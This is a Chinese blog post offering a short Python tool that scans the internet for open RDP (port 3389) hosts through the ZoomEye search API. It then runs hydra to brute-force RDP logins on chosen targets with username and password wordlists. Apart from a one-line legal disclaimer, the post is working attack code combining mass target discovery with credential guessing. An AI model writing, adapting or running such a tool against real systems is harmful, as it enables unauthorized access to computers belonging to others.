• python 3389爆破机


    前言:

     = =上学后的第一个星期假期,写了个3389爆破器

       -

    0x01

    准备:

    hydra

    钟馗之眼API

    0x02代码:

    import optparse
    import os
    import requests
    import time
    def mian():
        print('[!]切记不要做违法的事情。否则后果自负')
        usage='[help -s  扫描全网3389]'
        parser=optparse.OptionParser(usage)
        parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389')
        parser.add_option('-b',dest='bao',help='爆破字典(username)')
        parser.add_option('-p',dest='passs',help='爆破字典(password)')
        parser.add_option('-x',dest='host',help='目标')
        (options,args)=parser.parse_args()
        if options.ji:
            Ji()
        elif options.bao and options.host and options.passs:
            bao=options.bao
            ip=options.host
            passs=options.passs
            Bao(bao,ip,passs)
        else:
            parser.print_help()
            exit()
    def Ji():
        for r in range(1,10):
            time.sleep(1)
            g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)
            headers={"Authorization":"JWT token"}
            r=requests.get(g,headers=headers)
            sd=r.json()
            rsd=sd['matches'][0:]
            for l in rsd:
                print(l['ip'])
                owe=l['ip']
                with open('3389.txt','a') as p:
                    p.write(owe+'
    ')
    def Bao(bao,ip,passs):
        baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip))
    if __name__ == '__main__':
        mian()
    

      效果图:

  • 相关阅读:
    02_5if switch分支与循环语句
    02_4运算符
    02_3程序格式
    Shell脚本调用ftp上传文件
    02_2数据类型转换
    02_1标识符_关键字_数据类型
    01_3Java Application初步
    01_2Java开发环境的下载 安装 配置
    Mac 安装MySQL
    用 Homebrew 带飞你的 Mac
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8503307.html
Copyright © 2020-2023  润新知